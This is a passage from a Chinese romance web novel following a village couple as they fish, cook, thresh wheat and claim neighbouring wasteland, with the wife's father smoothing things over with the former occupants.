他无比雀跃,惊喜到手足无措,都不知道要说什么好,伸着手想去摸两下那条鱼,一看离得太远又放下胳膊,往前两步想下水又怕自己惊动河里的鱼。 裴厌走过来,大鱼被扎了个透,刚出水时还能挣扎几下,这会儿只偶尔拍两下尾巴。 他将鱼从树枝上取下,顾兰时已经给桶里打了些水,顺手就放进桶里。 “个头不小。”顾兰时低头露出个笑,说:“肯定够一顿吃的。” 裴厌开口道:“既然下了水,木叉也做好了,我多弄几条,这两天吃不完晒成鱼干。” 顾兰时直起腰笑眯眯点头,他心里高兴,没去洗衣裳,先站在这里看。 裴厌身手不错,除了两次失误没插中,其余四条都没逃过,河里的鱼儿精明,受惊后不再靠近这边,他说道:“足够了。” 顾兰时在岸边守着木桶,等他过来接住树枝和鱼,自己取了鱼儿放进桶里,再抬起脸眼睛亮亮的。 对这样的目光,裴厌很受用,上岸后他坐在一块大石头上晾晒腿脚,满眼笑意看顾兰时蹲在木桶前傻乐。 第59章 一共抓了五条鱼,三条大的两条小的,等顾兰时洗好衣裳,拍拍手喊鸭子回家,裴厌拎着木桶和他一起往回走。 大黑尾巴垂下,慢悠悠跟在两人后面。 顾兰时很高兴,开口道:“等下回去先把鱼处理了,内脏剁一剁丢给鸡,晌午咱们炖鱼块吃。” 裴厌走在旁边,看一眼桶里的鱼,说:“有两条鲫鱼,先炖这个,汤好喝。” 顾兰时笑着点头:“好,不如再买点豆腐回来,鲫鱼汤里加几块豆腐进去,煮滚了很香的。” 他想了下又道:“原本说今天买点猪肉汆丸子,不过有鱼肉了,丸子且先缓缓。” “嗯。”裴厌应一声好,见走在右边的顾兰时个头矮矮却鲜活明艳,总是对他笑,同他说每一句话都很认真,从没有敷衍和不耐烦,他眉宇间戾气消融,再不见原先的冷漠麻木。 一进院门顾兰时先晾衣服,他挽着衣袖露出小臂,虽不如身上其他地方白皙,但也比其他人白一点,皮肉紧致细腻,连手指也是纤细漂亮的,正如藏在衣裳底下的那截细腰。 裴厌放下木桶后无意中看一眼,就忘了进屋取钱买豆腐。 顾兰时从木盆里取了最后一件衣服,因晾衣麻绳有点高,这是裴厌之前搭的架子和麻绳,他需伸长胳膊往上,刚够到手腕就被身后人攥住了。 从身后贴进一具身躯,几乎将他整个人纳入怀中,结实而炙热,他不明所以,有点蒙蒙的。 裴厌没说话,从他手里拿过衣裳搭好,站在后面却没动,紧紧贴着。 顾兰时没敢乱动,直到小臂被捉住,他下意识低头看,突然发现裴厌手和胳膊比他还白。 要知道他在村里的双儿里都算白的了,他盯着多瞅了几眼,只觉裴厌肤色透着股冷淡,稍一动,修长的小臂就露出漂亮有力的肌肉线条。 身材修长精壮的男人站在他身后,一高一矮,契合无比。 当裴厌低头在他颈侧轻嗅,炙热气息扫过,潜意识察觉到危机后顾兰时腿发软,莫名有点害怕,想远离身后热源。 然而他一动,裴厌像是被惊动的野兽,猛然一口咬住觊觎已久的猎物脖子。 * 晌午饭往后推了一个时辰,熬好的鲫鱼汤端上桌时,顾兰时已经饥肠辘辘。 说好的豆腐没有腾出手去买,不过鲫鱼汤倒是熬的浓白,也没舍不得放盐,尝一口咸淡正合适。 裴厌只喝了两口汤,夹了块鱼肉出来先挑刺,完了献殷勤一样把挑好刺的鱼肉放进顾兰时碗里。 他薄唇微抿,眼巴巴看着顾兰时,轮廓分明的脸竟在眼神衬托下有几分可怜相,尤其右半边脸,又俊又可怜。 这会儿倒不见之前的狠劲了。 顾兰时原本还没觉得有什么,一看他这幅模样,也不知装可怜给谁看,气得恨不得咬裴厌一口。 他把那块鱼肉夹回裴厌碗里,还没说话呢,就看见裴厌整个人肉眼可见的蔫了,垂头丧气耷拉下脑袋。 顾兰时拿他没了办法,忧愁地皱起眉,成亲之前没料到会是这样,也没听说过哪家年轻汉子会那么喜欢做那种事,不管白天晚上都想,像是没一点廉耻心。 想是这么想,他心里清楚这种事没人会往外说,因此旁人怎么也无从得知。 他给自己舀了一碗汤,喝一口看向不吃饭的裴厌,悄悄叹一口气,眉眼里笑意再次浮现,说:“鱼肉太小,我要大块的。” 被搭理一下,裴厌立马照着做,伺候人的活他干得不甚熟练,挑鱼刺也是如此,但胜在细心。 喝汤吃鱼肉,就着咸鲜的鱼汤又吃一个白馒头,顾兰时饱足后心满意足,放下筷子夸道:“鱼汤熬的好。” 裴厌一下子高兴了,唇角带着笑意,一边收拾碗筷一边说:“明天再给你熬,以后想吃我再去捉。” “嗯。”顾兰时看看外面天色,离太阳落山还早,他还惦记着挖竹笋,开口道:“你洗完打筐猪草回来,咱俩去竹林挖笋子。” 裴厌手一顿,看向他问道:“你,能走吗?” 顾兰时有点恼怒,但不想发脾气,翻个白眼说:“怎么不能,又没伤到。” 他嘴里低声嘀咕道:“谁让你非要弄那个,这会子倒假惺惺的。” 裴厌耳聪目明,如何听不见这几句埋怨,他被说得有点窘迫,但脸上是止不住的笑意,从前不知道这些事有什么好的,如今体会到滋味后,才知当真是极乐。 他看着顾兰时,心中暗暗思索,想来极乐也要看和谁。 心里这些话他没说出口,端起碗筷去洗,脚步轻松自在极了。 顾兰时靠在椅背上歇息,见大黑走过来,他伸手摸了摸狗头,大黑便在他旁边坐下,眯起眼睛耳朵往后折,十分享受的模样。 * 刚走上山坡,还没进树林,顾兰时看见坟地那边有几个人影,都扛着铁锹,像是去挖坟。 他想起裴兴旺死了三四天了,如今天热,不好停灵七天,确实到下葬的时候了,只是他这两天没往村里去,不知道具体日子。 裴厌同样看见了那几人,他神色凉薄,对裴家事没有任何兴趣。 说好不管裴家人如何,顾兰时没言语,跟着他往山上走,脚下比平时慢。 山路不好走,夏天草木繁茂,遇到没有路的地方只能从草里经过,顾兰时捡了根树枝开路,万一草丛里有蛇。 裴厌一直在留意他的动静,走了一阵见他停下歇息,干脆把空竹筐背在身前,开口道:“我背你上去。” 顾兰时犹豫,他又不是走不了,几步路而已,哪有那么娇气。 “上来。”裴厌在他前面弯腰。 到这份上了,顾兰时只好趴下去,再起来视野比之前高了许多。 走了一阵,前后都没人,他不再顾忌,笑眯眯贴着裴厌脊背趴好,不用自己走路有点无聊,他盯着裴厌耳垂看一会儿,上手捏了捏。 裴厌背着他往前走,一点不觉得沉,被捏了耳朵也没在意。 胆子是被惯出来的,顾兰时越发过分,捏捏耳朵又去摸脸,脸颊倒是光滑,就是靠下巴的地方有青胡茬。 手摸着摸着就来到左边脸颊,那条长疤挺明显的,他小心用指腹摩挲了好一阵。 裴厌无奈叹口气,一边走一边开口:“脸有什么好摸的?” “没什么好摸的。”顾兰时其实挺高兴的,理直气壮同他玩笑道:“但我就是想摸。” 裴厌没了话说,也没拦着他。 顾兰时没有多讨嫌,揉揉手下的脸颊后伸长胳膊搂紧了裴厌脖子,将下巴搁在右臂上,一派放松的模样。 到了竹林后,找着有笋子的地方,他才从裴厌背上下来。 说是一起来挖笋,实际只有裴厌一个人忙碌,他在旁边待的无聊,说一声就到旁边树林里找菌子和野菜。 这几天没下雨,菌子出来的少,他薅了些嫩野苋菜,拔了几根长茎的草捋去叶子,几根草搓在一起弄了根草绳,将野苋菜捆整齐,便拎着回来找裴厌。 山里挺凉快,他知道竹林左边有一条小溪流,放下野苋菜后又去找水芹,同样弄了一捆。 裴厌干活利索,已经挖了不少笋子,他走近前一看,说道:“足够了,留一点空装野菜。” “好。”裴厌说着,走过来将手里的笋子丢进竹筐,他原地歇一下,开口道:“还早,去那边林子转转,看能不能打到山鸡。” 今天上山跟玩一样,没干什么重活,顾兰时点头应好,因竹筐沉了,没让裴厌再背他,一高兴走得挺起劲。 他俩今天运气好,不但用弹弓打到两只山鸡,还在窝里找到四个山鸡蛋,这种山鸡下的蛋不大,味道却不错,鸡蛋圆溜溜的,顾兰时小心用手帕包起来一手捧着。 下山途中遇到几个村里人,其中正有田桂芬,她胖胖的,走在人群中一眼能看到。 “婶子,阿嬷。”顾兰时喊了人,又看一眼裴厌。 裴厌会意,没有像从前那样目中无人,跟着喊了两声。 “哎哎。” 两个妇人和两个夫郎纷纷点头答应,碍于裴厌素日名声,一个两个对视一眼,都没敢多言语,唯有眼神时不时落在顾兰时身上和裴厌提着的两只山鸡上。 这山鸡不小呢,拔了毛肯定有不少肉。 田桂芬原本一见顾兰时心里就不自在,这会儿更是有点酸,后山只住了裴厌一家,没人会过去打听他俩闲话,那不是找死吗。 她和两三个妯娌背后嚼舌根,说顾兰时肯定要挨打,就裴厌那个脾气,不打人才怪。 谁知过了这一个多月,每次碰见顾兰时,没见过他脸上有伤有青,胳膊腿也没被打断,今天还有山鸡吃,整整两只。 甚至裴厌看着也挺听他的话,让喊人就喊人,不带犹豫的。 田桂芬又瞅一眼山鸡,山鸡腿越看越饱满,她心里酸溜溜的,家里母鸡要下蛋,养几年成了老母鸡还要去卖,平时哪有鸡肉吃。 若搁在村里别人,她早忍不住阴阳怪气酸几句,日子过得这样没王法,鸡肉都吃进嘴了。 可看一眼面无表情的裴厌,再多话都咽了下去。 “兰哥儿,你们先走,我们还要挖野菜。”一个夫郎停下脚步大着胆子开口,其他三人顺势停下,做出往旁边树林去的姿态。 顾兰时听出他们对裴厌的惧怕,也只得点点头:“好,那阿嬷我俩先走了。” 离开之后,他转头看一眼裴厌,心里有点纳闷,也不知道是自己看久了还是怎么回事,如今裴厌在他眼里也没那么凶恶,只是见了外人不怎么笑而已,又不会乱打人。 要是多看两眼,说不定就发现裴厌长得好看了,可惜多数人都不敢多看,想到这点,他暗自叹息不已。 第60章 两只山鸡被弹弓射中都没成活,怕天热放一晚肉不好了,顾兰时没有耽误,提上余下三条鱼和裴厌一起送回家。 “娘。”他进门喊道。 裴厌落后他半步,叫了声岳母。 苗秋莲和竹哥儿正在院里翻麦子,见他俩拎着鸡鱼,苗秋莲放下木叉擦擦汗,满脸笑意说一声姑爷来了,连忙让竹哥儿先接了东西放好。 这会子已经快申时末了,没看见他爹和狗儿,顾兰时顺嘴问了一句。 苗秋莲一边洗手一边说:“他俩去镇上卖猪仔了,养的半大,人家说肉嫩,比刚足月的乳猪肉也多,要咱们说,也不见得大猪肉有多老,可谁知道镇上那些老爷太太嘴挑,能尝出来。” “鱼都杀好了,掏了脏腑,鱼鳞也刮了,你厌哥哥今天刚在河里叉的,新鲜,山鸡也是他打的,这两条鱼留着,剁了下午煮个汤,这一条先放着,等下我拿去给阿奶。”顾兰时叮嘱竹哥儿几句。 听他娘这么说,想起自家后院养的母猪仔,他问道:“娘,像咱家这种养了三个月的猪仔一头能卖多钱?” 苗秋莲擦着手想了一下,说:“应该在四五钱,人家按整只买,要是肥点说不定有五钱,我听你二伯说了,他卖了两只都是四百五十文,若有心,只要别低于四钱就行。” 她放下布巾又道:“说是这么说,到底吃整只小猪的人家少,偶尔弄几个钱罢了,肉铺里还是收大猪多,肉多,肥膘子又厚,宰一头刨去脏腑骨头那些,少说也有个一百斤,能卖的钱更多。” 顾兰时点点头,买只小母猪回家养要二钱左右,这个卖价只能说不高不低。 猪吃得多,母猪下一窝崽少说也有六七只,小猪还好,一旦断了奶开始吃草,食量也会逐渐变大,七八头猪一天光打草都要好几十斤,别的活全得往后靠,因此寻常人家养猪,一般就是一两头,养到年底能多一份营收。 他爹娘之前就是靠种地养猪积攒了些家底,他看在眼里,心中不免有点盘算。 可那几年家里人多,有足够的人手给猪打草,还能兼顾地里的活。 他和裴厌只有两个人,后院因地形不算太大,鸡圈鸭圈占了一片地方,最多能垒三个猪圈。 竹哥儿倒了茶水又拿了糕点出来,苗秋莲招呼他俩往堂屋走,顾兰时不再想这些,没影儿的事,还是先顾好眼下。 在家说几句闲话,提了拿二十斤豆子的事,顾兰时朝他娘使个眼色,两人进屋子,他塞给苗秋莲一串铜钱,说是一百文,苗秋莲哪有不应的,推辞两句才收下,喜笑颜开出来就要给他装柴豆种子。 眼看快到做饭的时辰,顾兰时道一声,把装柴豆的麻袋放在院门后面,先和裴厌拎着鱼到老宅去了,正好赶上方红花做饭。 知道她向来自己做饭自己吃,不用别人管也不必管其他人,顾兰时带来的这条鱼比手掌大些,煮了汤再吃肉,恰好够老太太一顿的,多了她吃不完,天炎热,汤汤水水放到第二天就不好了。 顾兰时放下鱼没坐一会儿,起身说要回去做饭,方红花没多留他,看一眼没话说的裴厌,进屋拿了一小碟甜米糕。 “兰哥儿,你俩回去吃。”方红花递到顾兰时手里,生怕他连个米糕都没得吃。 成亲前她去看过裴厌住处,虽然屋子不破,但年头久旧了,再加上裴厌孤身一人,连个亲戚都没有,顾铁山问她时,她都没法昧着良心说好。 村里那些长舌人最可恶,同她有过旧怨的几个老人明面上没说,但都见了她捂着嘴偷笑,老了老了跟妖怪一样。 她打心里看不上,但也知道那几个老娼货是笑他家兰哥儿嫁给那么穷的裴厌。 好在她最担心的事没有发生,看顾兰时模样,成亲这段时日两人没有争吵打架。 方红花心思不显,又道:“快拿着,回去罢。” 顾兰时接过,他有心想说自己过得没那么不好,不过家里也确实没有糖做米糕,上次吃还是竹哥儿给他拿的,话到嘴边转了个弯,他笑道:“好,阿奶我俩走了。” 裴厌和顾兰生顾兰河混熟了,但和顾家其他人还有些生,只跟在顾兰时后面或走或动。 因顾家老宅和裴家离得不远,在对面一排,两人一出来看见裴家门口挂的白纸幡。 裴厌看见跟没看见一样,一点没放在眼里,即便发现他姑姑姑父从门里出来,只扫了一眼神色冷漠。 顾兰时认出那是他姑姑两口子,成亲时裴家没有一个人来,裴美兴,也就是裴厌姑姑,并未行过礼明面认过,于是也收回视线,哪有上赶着的。 不过他在心里转了几转,裴胜姑姑今天来了,说不定明天埋裴兴旺。 这就和他俩没关系了。 到岳丈家门口后,裴厌拎起麻袋朝院里说一声,又跟着顾兰时往后山方向走。 顾兰时笑道:“阿奶还怕咱俩吃不饱。” 裴厌看一眼甜米糕,无论红糖还是黄糖都贵,他自己因不会做米糕,成亲前置办东西的时候竟忘了这个,村里日子稍好的人家都会蒸大米糕吃,放点糖甜甜的。 他开口道:“改天去镇上,我买点糖回来。” 顾兰时转头看过来,说:“也行,干活饿了能垫个肚子,不过这不是什么紧要东西,少买点,有个滋味就行了。” “嗯。”裴厌点头。 两人进了树林,一直走到最后面才看见后山外头那两间破草屋,一条土路被踏出来,两边荒地长满野草。 顾兰时看着足有半腿高的野草,这些要是猪爱吃还好,偏偏都是些狗尾巴草、锯子草拉拉藤这些难缠的东西,尤其草丛里攀爬的藤蔓,蔓茎长扎手的绒刺,叶片也毛绒绒扎人,长得还老长,根系紧紧扒在土里,一旦掘起就是一长串。 裴厌顺着他的目光看两眼,心知他怕草里有蛇,说道:“吃完饭没事,我出来锄一片。” “好。”顾兰时连忙答应,后山一直荒芜,杂草蔓生,他俩如今住在这里,要是还这样岂不是没道理,住人的地方再怎么样,也该拾掇的干净敞亮。 两人都是干活不推脱的性子,吃过饭顾兰时去打猪草,大黑跟着他出去,裴厌没言语,自己拿了锄头先从离院子近的荒地锄。 院子左边五丈开外有间草屋,院门前面三丈是另外一间草屋的后院,再往前还有两个被走出来的土路隔开的草屋,若算上曾经这四户人家的地盘,后山这片开阔地不算小。 锄头刃锋利,连草根一块挖起,裴厌一边锄地一边在心里琢磨,好一会儿后他停下动作,视线在这一片地方来回巡视。 顾兰时曾说他们前院菜地有点小,种菜只够两个人吃的,想多晒点菜干子都不好下手。 其实前院不小,主要留了一片晒谷场,要是都开垦出来种菜,麦子谷子收回来后要重新找地方晾晒,万一下雨,还要发愁怎么运回家。 他凝神细思,外头这片地方开垦出来,不正好是一大片菜地,离家又近,想吃菜出门就能挖到,也没邻居争地方。 另一边,顾兰时因有点不舒服,猪草打了大半筐,见够今晚猪仔吃的,他没有强撑,喊上大黑往回走。 一回来看见裴厌已经锄出来一片空地,心里立马就舒坦许多,没有杂草看着真干净。 等他过来后,裴厌接过他背上竹筐,同他说了自己方才的想法。 顾兰时眼睛亮了一瞬:“怎么之前没想到呢,放着这么一大片地方,不种菜真是可惜了。” 裴厌笑了下,说:“现在想起来也不迟,这两天地里的活不忙,先把这里平整出来。” 他说着看向那四间破败的茅草屋,又道:“我想把这几间屋子都推倒,如此就是一整片地方,没有遮挡,以后也好分划出每样菜的地盘。” 顾兰时犹豫道:“可,这几户人家都还在村里住着,这里算是他们老屋,要推了的话,是不是得和他们说一声?” 裴厌没放在心上,说:“这里他们早不要了,里头也没家当,就些腐朽的木头,推就推了。” 顾兰时有点担心人家不同意,毕竟这么大一片地方呢,要是知道他俩全占了,搁谁不眼红,肯定有不愿意的。 听完裴厌的话后,他若有所思,仔细想了一会儿。 他在小河村长大,除了附近村镇从没去过远地,所见所识全是村里传闻,知道一点不成文的霸道规矩,在乡下,谁家人多拳头大,日子过得就好,抢地盘打架这些事屡见不鲜。 说起来裴厌名声这么差,一言不合就动手,砍人的事发生后,好一段时间村里人都绕着裴厌走,根本没有敢上前搭话的,况且赵家人被打得那么惨,村里人有目共睹,谁没事会来触霉头。 裴厌一边看一边说:“要是搭个葫芦架,再打口井,挑水浇地不用去河边,方便许多,以后想吃葫芦也不用上家里摘,多余的晒成葫芦条干子。” 他一副理所当然的神色,一看他模样就知道这主意打定了。 顾兰时一想也是,平时没人愿意来这边,完全是荒地,他俩自己开垦平整,又没霸占别人家菜地,要是真有人来找事,到时再想办法,不行让他爹帮着说道说道,实在不行给点钱,肯定能摆平。 裴厌又拿起锄头锄地,说道:“早点开垦出来,八九月种菘菜就能多种点,冬天不愁菜吃。” 提到冬天,顾兰时越发觉得有道理,连声答应。他闲不下,一想到能有这么大一片菜地,兴冲冲回去拿了锄头来锄草。 60-80 第61章 两人将院门前面这一片荒草锄完,露出来的空地有些不平,还有石头烂瓦片,裴厌捡起来扔在一旁,等回头平整的时候,把所有杂物一起拉走, 顾兰时拄着锄把歇息,今天这么忙,他属实有点吃不消。 “怎么了?”裴厌转头看他。 顾兰时开口道:“没什么。” 这样子不像没事,裴厌拧着眉头又问他一遍。 顾兰时这才说:“就腿疼。” 他有点恼羞成怒,低声不耐烦道:“你自己做了什么又不是不清楚。” 裴厌沉默一下,确实是他思虑不周,于是放缓了语气说:“你回去歇着,我来干就好。” 顾兰时一想,锄地这事不着急,于是嘱咐他小心草里的蛇虫,就拿上锄头回去了。 入夜。 顾兰时早就困了,洗完脚打着哈欠上炕躺下,洗脚水自有裴厌去倒。 房里没点灯,他迷迷糊糊就要睡着,不想裴厌上炕后,摸索着摸到他腿,竟从上到下按揉起来,连脚也照顾到。 他困到极点,声音都是疲倦的,问道:“你做什么?” 裴厌低声开口:“给你揉揉,今天走了山路,万一明早起来腿疼。” 更要紧的地方其实不是腿脚,他心里清清楚楚,只是不好开口,他夫郎肯定也不愿意,而且就算看了又怎么样,一没药用二没手段缓解,只能尽尽其他心。 顾兰时没力气收回腿,而且裴厌手掌温热有力,也没弄疼他,腿脚一按揉确实舒服放松了许多,就由着对方去了,自己很快舒舒服服进入梦乡,什么也不得知。 * 麦穗晒得差不多,该碾场了,碾完麦粒还要再晒几天,顾兰时得了消息后,和裴厌一起回家帮忙。 顾兰生牵着驴子拉着石碾在麦场上来回碾压,压过后裴厌几人用木叉翻起另一面。 唯有多翻多压几遍,麦粒才脱得干净。 就一头驴,碾一遍场没那么快,太阳正炎热,没必要所有人都在谷场上忙碌,有裴厌、狗儿还有他二哥顾兰河就足够了。 外头灰土大,顾兰时见裴厌三个人停下后,朝院里喊道:“茶水倒好了。” 这几人进来歇凉喝水,大嫂二嫂在灶房忙碌,他端起一碗拿出去给牵驴的大哥。 每年都要干这些活,所有人都习惯了,往年碾完老家的麦子,借驴子的顺序都是顾兰生先用,再给二弟,今年多了顾兰时和裴厌,自然也是如此。 顾兰时虽想早早碾完场,这一摊子活就能收拾了,但不好越过大哥二哥。 裴厌原先只有一亩麦子,收回来后在院里自己拉石磙碾动,如今有两亩麦子,他有心想自己先碾几遍,累是累点,不过多费点力气。 顾兰时一看那石磙太沉重,拦住了他,大石头块子哪有轻的,再等两三天的事,哪有那么着急。 于是两人先去麦田翻地,将麦子根刨出来,还要平整一遍田地。 麦子根也不用扔,运回家晒干了,能当柴火烧。 裴厌干活向来不含糊,两天多时日都在地里忙活,收拾好两亩旱田后,刚好轮到他俩用驴子。 院子里,顾兰时戴着斗笠,用一条布巾蒙了下半张脸,不然一说话一呼吸都是炙热的尘土。 毛驴在太阳底下干了这几天重活,草料和水都得喂好,不然没力气。 眼瞅着越来越热,毛驴有点蔫,顾兰时连忙舀了半桶水给它喝,顺手拍拍驴脖子,说:“要不歇歇,太热了,它虽是牲口,也得缓缓。” 他看一眼裴厌浑身是汗,又说道:“你也歇歇,万一中了暑气,太阳这么好,麦子也晒得够干,过了晌午这阵再碾不迟。” 裴厌擦擦额上汗,天确实好,不用担心下雨的事,便点头应好,等驴子喝完水,牵着它到阴凉处栓好,放了草料让吃。 大黑找了处阴凉趴下,热得直吐舌头。 没有风,院里的菜叶纹丝不动,堂屋里,顾兰时摇着蒲扇,他有点馋果子吃,但最近没上山,也没去赶集,桃李瓜果这些家里都没有。 想起小时候去过一次阿奶的姑妈家,他喊老姑奶奶,老姑奶奶家里有个葡萄架子,当时去正好是夏末那一阵,葡萄熟了,紫红的葡萄汁水饱满,酸酸甜甜的,他当时很小,老姑奶奶给他摘了一串,他还得两手抱着,只觉那串葡萄可真多真大。 他一边扇凉一边说:“要是能买到葡萄秧子,到时在院里搭个葡萄架,以后就有葡萄吃。” 裴厌知道葡萄,但没吃过,这东西镇上有,附近几个村子种的不多,院里搭架多是栽种些菜蔬,比起果子之类的零嘴,菜蔬显然更要紧。 他放下水碗也拿起蒲扇摇,说:“我回头打听打听。” 太阳渐渐往西边走,没那么热了,两人便起身往院里走,毛驴歇了一阵子,再拉石磙明显有了精神头。 一直忙到傍晚,顾兰时正在灶房做饭,院里裴厌翻麦子,大黑忽然冲着门口叫,见顾铁山进来后它上前闻了几下,又在阴凉处趴好。 “岳丈。”裴厌喊道。 顾兰时听见动静,出来问道:“爹,怎么这时候过来了?” 顾铁山肩上扛着渔网,看一眼他俩今年的收成,刚才进门时也看见他俩将外面收拾的不错,比原先干净多了,心中还是满意的。 他说道:“你上回不是说要占了前面那片地,这事可行,不过都是一个村的,人家也在村里住了十几年,地咱们占定了,这边老屋虽说当年没有地契,不过多少要同他们知会一声,才是个理,省得叫人家说嘴。” “我今天上山去下网,让姑爷同我一起去,明天看看收成,要是不多就再叉几条鱼,一家给送去两条,收了东西他们不好说什么。” 顾铁山说着,又看向裴厌,开口道:“要在村里过日子,多少活点人,别的不说,以后日子长了,红白喜事都要村里人帮衬帮衬,咱家亲戚是多,也不能不和村里人往来,又没结仇,对人家客气点,和和气气的,日子久了好处多着呢。” 他思索一下又道:“明天我带你过去,先听听他们口风,若不答应,给个一二十文也就松口了,这边荒了十几年,也不见他们来人拾掇,连地契都没,没必要多给。” 顾兰时听他爹说得在理,看向裴厌点了点头。 裴厌顺着顾铁山的话想了一下,以后有孩子,孩子成亲确实要有亲戚朋友来帮忙来吃席,不然若像他一样,实在太清冷,原先强占这片地盘的想法松动,见顾兰时赞同,他也点了点头:“好。” 顾铁山年轻时也跟人打架,这几年有了年纪,便觉得还是和气些为好,见他俩都点了头,他拍拍肩上渔网,率先转身往外走,说:“趁这会儿天亮早点进山,明天也要早早去收网。” 裴厌放下木叉,说道:“你做饭就好,不用管这些。” 顾兰时答应道:“好,你去。” 水里的游鱼精明,离村近的河段常年有人钓鱼捞鱼,鱼渐渐少了,没有山里的流段多,想好生弄一网子鱼,去山上更容易些,不过也看运气。 * 翌日清晨,草叶还带着露水,山林里的凉意尚未散去,裴厌拎着木桶,和顾铁山踩着草丛上了山。 以前有一次,顾铁山在村子旁边的流段下网,不想夜里被人截了胡,他早上去收网时网被拽到岸边,一条鱼都没有,渔网还破了,气得他和苗秋莲在村里骂了好几天,后来大概知道是哪家干的,不过没当场逮住,自然不好发作。 这回虽是在山上网鱼,村里人夜晚轻易不会上山,也不知他在哪里下的网,找都得找一阵子,但他还是很谨慎。 河水冰凉,两人光着脚在浅水处适应一会儿,才敢往水里走。 今天运气不错,一网子十几条鱼蹦跶着被拉上岸,顾铁山笑道:“足够了。” 裴厌从网里掏出鱼,一条条扔进桶里,他拔了几根结实有韧性的长茎草,穿过鱼嘴等会儿好直接提起来。 一共四家人,太大的鱼留着岳丈家吃,他挑了八条不大不小的,每两条穿在一起。 十四条鱼在木桶里显得有点拥挤,他俩没有多耽误,提着木桶和渔网下了山。 顾兰时在院里将昨晚卷起来的麦子铺平摊开,今天还要再碾几遍,毛驴还没还回去呢。 每晚将麦子收进屋檐下是怕突然下雨,夜里来不及卷收,情愿没睡的时候多费点力气,夜里才好睡个囫囵觉。 听见大黑叫了两声,他朝门外看去,果然见裴厌一手提着木桶进来了,他问道:“爹呢?” 裴厌边走边说:“渔网有水,岳丈先回去晒渔网了,我放两条鱼也过去,趁人家还没出门下地干活,先把鱼送了。” “好。”顾兰时进灶房给木盆里舀了些水。 木桶里有三条大鱼,他俩只挑了一条,再捉了条小鱼放进盆中,裴厌就提着木桶走了。 等顾铁山摆弄好渔网,两人就先往林荣家去,林荣虽姓林,却和小河村的林家没什么关系,是从别处深山中搬出来的,同姓罢了。 顾铁山和他两家挺熟,带着裴厌刚进院门,就看见林荣老爹坐在西边墙根下抽旱烟,老头子上了年纪,腿脚不利索,见有人来也不起身,吸一口烟说:“是铁山小子,过来了。” 十几年前搬过来时,还是林老爹拖家带口,如今他年纪大了,有点糊涂,便是林荣当家。 “老叔起这么早,我过来有点事。”顾铁山又朝里喊道:“他荣叔在家?” 林荣媳妇在灶房,听见声音赶忙出来,说:“在呢在呢。” 看见裴厌后她心中一惊,神色惴惴不安,带着惧意朝屋里喊一声,就见林荣靸着鞋出来。 “谁啊。”林荣扣着眼角,一抬头却见是裴厌,哪怕有顾铁山跟着,他面皮一抖,拼命回想自己是不是得罪了这活阎王,难不成是上门兴师问罪的? 顾铁山不等他们想出什么,看出两口子害怕,他没进人家堂屋,就站在院里笑道:“他荣叔,今天过来有事同你商议,你家原先的老屋不是荒了,那边也不是个正经住处,连地契都没有,我姑爷想平了那片地,不然全是乱草,怕有蛇虫在里面,这不托我上门说道说道,今天弄了两条鱼,还活着呢,新鲜,给你们也尝尝鲜。” 林荣几家都是当年搬迁过来,和受了灾逃荒过来的人不同,官府没有优待,能在后山弄一间茅草屋住都算不错,当时盖了茅草屋后,他们没有交钱在官府盖官印办房契,这事儿小河村的人都知道。 一听来意,林荣咽着吐沫干笑两声,搓着手想了一会儿说:“论理,那处地方也不算我们家正经房子,这十年都没去过。” 见裴厌看着他,一张阎王脸瞧着就不好相处,他一咬牙,又道:“你们要用,尽管占了去,我们又不上那边。” 顾铁山说道:“好,那就说定了?” 林荣只想赶紧把这尊大佛送走,忙不迭点头:“说定了。” “你不反悔?”顾铁山比较谨慎,又问了一遍。 林荣有点着急,说道:“这有什么反悔的,那片地方早就不用了。” 顾铁山这才笑道:“好,多谢。” 裴厌上前几步把手里的两条鱼递过去,缓和了语气开口:“多谢荣叔。” 他这么客气,林荣顿时有点吃惊,也不敢接东西,连忙摆着手说:“不用不用。” 顾铁山在旁边劝道:“拿着吧,我家姑爷早上特地弄的,怕占了地盘你们不高兴。” 林荣心里直打鼓,听见这句话,心想他又不是缺心眼,何至于跟个活阎王较劲,那片地根本不算他们家的,就是强占去他也不敢说嘴。 裴厌记着顾兰时昨晚的嘱咐,让他客气点,见林荣不收,干脆挂在旁边晾衣架上,说:“这鱼正新鲜。” 顾铁山笑着打着圆场:“你说你,这是孩子一片心意,给你就收下,邻里邻居的,瞎客气什么。” 他没多留,后边还有三家呢,又说道:“他婶子,你们先忙,我们就走了。” 林荣媳妇脸都吓白了,巴不得他俩离开。 林荣忙不迭点头,跟在后头送他俩出门,再转身进门,拍着胸脯子缓过劲来,瞧见木架上挂的两条鱼,同他媳妇嘀咕了几句,最后把鱼收拾了,白得两条鱼吃,除去裴厌比较吓人外,还是挺高兴的。 因裴厌跟着,其他三家人的反应和林荣家差不多,甚至有小孩想起夜里他爹娘吓他的话,直接躲进屋里,不敢看破了相的裴厌,生怕被活阎王抓走喂豺狼。 事情解决后,顾铁山心中暗自好笑,虽说名声吓人,可也有点别的好处,这不连钱都不用花。 第62章 外面这么大一片地是自己家的了,顾兰时很高兴,又听裴厌说没花钱,他笑眯眯道:“我就说村里人都和善,不必同人家硬来,这不送点东西说一声,人家就愿意了。” 对外人的惧怕,裴厌看得一清二楚,不过既然顾兰时愿意这样想,他点头以表赞同,趁早起天凉快,牵了毛驴先碾场。 一通忙碌后,到下午驴子歇息吃草料,他俩用木叉将最上面一层麦秸挑开,在西边墙根下的空地堆成一堆,裴厌又牵了毛驴过来碾麦。 顾兰时放下木叉,喝口水歇一下,这会儿碾场用不上他,他也没闲下,到菜地拔了棵春菜,择去老叶子,舀了盆水将每片菜叶都洗干净。 这几天院里有尘土麦屑,菜地像是蒙了一层尘,吃进嘴里的东西自然要弄干净。 鱼晌午歇息的时候已经杀好了,他看一眼外面热辣辣的天,拿个碗边往外走边说:“我回家拿点绿豆回来,熬点绿豆汤喝,解解暑。” 裴厌手里拿着鞭子,站在麦场中驱使毛驴拉石碾,他鞭子也不打在驴子身上,偶尔在空中抽两下,毛驴也挺聪明,见他人高马大站在旁边,没有尥蹶子偷懒。 汗水顺着脸颊流下,太阳大,他眯着眼睛说一声好。 “你喝点水。”顾兰时叮嘱他一句,脚步匆匆出门往村里赶,一出来看见外面这片荒草地,他眼睛弯了弯,忍不住露出笑容,以后吃菜不愁了。 进门看见他娘坐在堂屋补衣裳,他没绕弯子,直说要一点绿豆,苗秋莲放下针线一边答应一边进杂屋给他舀绿豆,顺便还给他用手帕包了两把红豆。 顾兰时笑眼弯弯,说还要碾场扬麦,又匆匆走了。 